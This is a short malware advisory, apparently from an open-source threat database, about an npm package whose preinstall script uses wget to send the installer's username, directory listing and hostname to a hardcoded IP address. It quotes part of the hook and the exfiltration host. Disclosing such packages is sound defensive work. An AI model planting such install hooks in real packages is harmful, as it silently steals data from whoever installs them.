GCVE-110-OSM-2026-12120

package.json declares a preinstall script that runs wget against http://169.58.142.14:8080/ with query parameters populated by shell command substitution of whoami, ls, and hostname. On npm install this automatically transmits the installer's username, current-directory listing, and hostname to a hardcoded bare-IP HTTP endpoint unrelated to any legitimate publisher infrastructure. There is no functional package purpose served by this behavior. ENTRY - Preinstall Script in package.json: ""preinstall": "wget --quiet \"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Suspicious Domain in package.json: "http://169.58.142.14" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account